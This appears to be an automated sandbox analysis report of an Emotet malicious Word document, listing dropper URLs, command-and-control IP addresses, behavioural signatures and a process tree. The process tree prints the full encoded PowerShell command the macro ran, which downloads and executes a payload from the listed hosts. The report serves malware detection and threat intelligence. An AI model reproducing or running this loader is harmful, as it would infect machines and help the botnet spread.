Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/09/2020, 09:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_c8e971366664091a1da76bd55064f569cddef2d7221213dcf4f0f33c0e988e6b_2020-09-18__093806._doc.doc
  • Size 221KB
  • Sample200918-lasz3xz3ln
  • SHA256 c8e971366664091a1da76bd55064f569cddef2d7221213dcf4f0f33c0e988e6b
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://hottco.com/stats/erd/
  • exe.dropper

    http://dutarini.com/cgi-bin/6/
  • exe.dropper

    https://brownshotelgroup.com/www.brownshotelgroup.com.pt/i9/
  • exe.dropper

    http://pastaciyiz.biz/wp-includes/fvx/
  • exe.dropper

    https://dogaltrm.com/components/r6h/
  • exe.dropper

    https://dortislem.net/administrator/c/
  • exe.dropper

    https://onyourleftracing.com/cgi-bin/QcC/

Extracted

Family

  • emotet

C2

  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_c8e971366664091a1da76bd55064f569cddef2d7221213dcf4f0f33c0e988e6b_2020-09-18__093806._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABHAHQAagB0ADYAZwBfAD0AKAAnAFMAcQAnACsAKAAnAHUAegAnACsAJwB6AG4AagAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBwAHIAbwBmAEkAbABlAFwAZQBsAGIAUQA4AEsASABcAEwAcQBNAGYAZQBqADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAYABVAHIAYABJAFQAWQBwAHIAbwBUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzACcAKwAnADEAMgAnACkAKwAnACwAJwArACcAIAAnACsAJwB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAFoAYgB0AG8AaABkADcAIAA9ACAAKAAnAFUAJwArACgAJwAxACcAKwAnADgAbQBpAGEAegBxACcAKQApADsAJABDAG0AMwBkAG0AbAAyAD0AKAAnAFIAZQAnACsAKAAnAHkANQAnACsAJwBtADgAJwApACsAJwBhACcAKQA7ACQAVABtAGkANABoAHAAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGcARwAnACsAJwB4ACcAKQArACcARQAnACsAJwBsACcAKwAoACcAYgBxADgAJwArACcAawAnACkAKwAoACcAaAAnACsAJwBnAEcAeAAnACkAKwAoACcATABxACcAKwAnAG0AZgBlAGoAJwApACsAKAAnADQAZwAnACsAJwBHAHgAJwApACkAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBjAGgAQQBSAF0AMQAwADMAKwBbAGMAaABBAFIAXQA3ADEAKwBbAGMAaABBAFIAXQAxADIAMAApACwAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFoAYgB0AG8AaABkADcAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABBADEAcQAxAHMAcABkAD0AKAAoACcAUgBuACcAKwAnAHAAbQAnACkAKwAnAHEAdwAnACsAJwBqACcAKQA7ACQARAAxAGUAYQA2AGMAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBlAFQALgBXAEUAQgBDAEwAaQBFAG4AVAA7ACQATABpADcAdQAxAGkAMwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AaABvACcAKQArACgAJwB0ACcAKwAnAHQAYwBvACcAKwAnAC4AYwBvAG0ALwAnACkAKwAoACcAcwB0AGEAJwArACcAdABzACcAKQArACgAJwAvAGUAJwArACcAcgBkAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAZAAnACsAJwB1AHQAJwArACcAYQByAGkAbgBpAC4AJwArACcAYwBvAG0ALwBjACcAKQArACcAZwBpACcAKwAoACcALQBiACcAKwAnAGkAbgAnACsAJwAvADYALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAKAAnAC8AYgAnACsAJwByAG8AdwBuAHMAJwArACcAaABvAHQAJwApACsAKAAnAGUAJwArACcAbABnAHIAJwApACsAKAAnAG8AdQBwAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAdwB3ACcAKwAnAHcALgBiAHIAJwApACsAKAAnAG8AdwBuACcAKwAnAHMAaAAnACkAKwAoACcAbwB0AGUAJwArACcAbABnAHIAJwApACsAJwBvAHUAJwArACgAJwBwAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAJwAuAHAAJwArACgAJwB0ACcAKwAnAC8AaQAnACkAKwAoACcAOQAvACoAaAAnACsAJwB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAnAHAAJwArACgAJwBhAHMAdAAnACsAJwBhAGMAJwApACsAKAAnAGkAeQBpAHoALgAnACsAJwBiACcAKQArACgAJwBpAHoALwB3AHAAJwArACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAZgB2AHgALwAqAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAGQAbwAnACsAJwBnACcAKQArACgAJwBhACcAKwAnAGwAdAAnACkAKwAoACcAcgAnACsAJwBtAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AYwAnACkAKwAnAG8AJwArACgAJwBtAHAAJwArACcAbwBuACcAKwAnAGUAbgAnACkAKwAoACcAdABzAC8AJwArACcAcgAnACkAKwAoACcANgBoACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACcAcwAnACsAKAAnADoALwAvAGQAJwArACcAbwAnACkAKwAoACcAcgB0AGkAJwArACcAcwAnACkAKwAoACcAbAAnACsAJwBlAG0AJwApACsAKAAnAC4AJwArACcAbgBlAHQALwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAGkAcwB0AHIAYQB0ACcAKwAnAG8AcgAvACcAKwAnAGMALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAvAG8AJwArACcAbgAnACsAJwB5AG8AJwApACsAKAAnAHUAcgBsAGUAJwArACcAZgAnACkAKwAnAHQAJwArACgAJwByAGEAYwAnACsAJwBpACcAKwAnAG4AZwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwBpAC0AYgBpAG4AJwArACcALwBRACcAKwAnAGMAJwArACcAQwAnACkAKwAnAC8AJwApAC4AIgBzAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAbwAyADUAaQA4AG8APQAoACgAJwBWAHEAJwArACcAYQBpAHYAJwApACsAJwA1AHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVAB5AHEAZAB4AGsAcQAgAGkAbgAgACQATABpADcAdQAxAGkAMwApAHsAdAByAHkAewAkAEQAMQBlAGEANgBjADAALgAiAEQATwBXAGAATgBsAE8AQQBkAEYAYABJAEwAZQAiACgAJABUAHkAcQBkAHgAawBxACwAIAAkAFQAbQBpADQAaABwAHMAKQA7ACQAWABhAGgAawBqADEAeAA9ACgAKAAnAEcAdQAnACsAJwBwADAANwAnACkAKwAnAG8AJwArACcANAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAVABtAGkANABoAHAAcwApAC4AIgBsAGAARQBOAEcAVABoACIAIAAtAGcAZQAgADIAMQA1ADkANgApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABUAG0AaQA0AGgAcABzACkAOwAkAFcAYQAwAGYAaABlAGQAPQAoACcASQA4ACcAKwAoACcAYwBwADYAeAAnACsAJwA2ACcAKQApADsAYgByAGUAYQBrADsAJABQAHEAcQBvAF8AdgBlAD0AKAAnAEIAJwArACgAJwB2ACcAKwAnAHkAcwBxACcAKQArACcAagBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBuADEANQByAHgAMQA9ACgAKAAnAEMAOQAnACsAJwA5ACcAKwAnADQAdQBrACcAKQArACcAbwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Users\Admin\Elbq8kh\Lqmfej4\U18miazq.exe
      "C:\Users\Admin\Elbq8kh\Lqmfej4\U18miazq.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\SysWOW64\vds_ps\mstsc.exe
        "C:\Windows\SysWOW64\vds_ps\mstsc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1384

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1176-21-0x000007FEF7CD0000-0x000007FEF7F4A000-memory.dmp
        Download

        memory/1384-20-0x00000000001E0000-0x00000000001F0000-memory.dmp
        Download

        memory/1384-19-0x0000000000290000-0x00000000002A2000-memory.dmp
        Download

        memory/1612-3-0x0000000007CF0000-0x0000000007EF0000-memory.dmp
        Download

        memory/1612-2-0x0000000009780000-0x0000000009784000-memory.dmp
        Download

        memory/1632-11-0x000000001C4D0000-0x000000001C4D1000-memory.dmp
        Download

        memory/1632-10-0x000000001C340000-0x000000001C341000-memory.dmp
        Download

        memory/1632-9-0x00000000024E0000-0x00000000024E1000-memory.dmp
        Download

        memory/1632-8-0x00000000024B0000-0x00000000024B1000-memory.dmp
        Download

        memory/1632-7-0x000000001AC60000-0x000000001AC61000-memory.dmp
        Download

        memory/1632-6-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1632-5-0x000007FEF1A40000-0x000007FEF242C000-memory.dmp
        Download

        memory/1672-14-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/1672-15-0x0000000000260000-0x0000000000270000-memory.dmp
        Download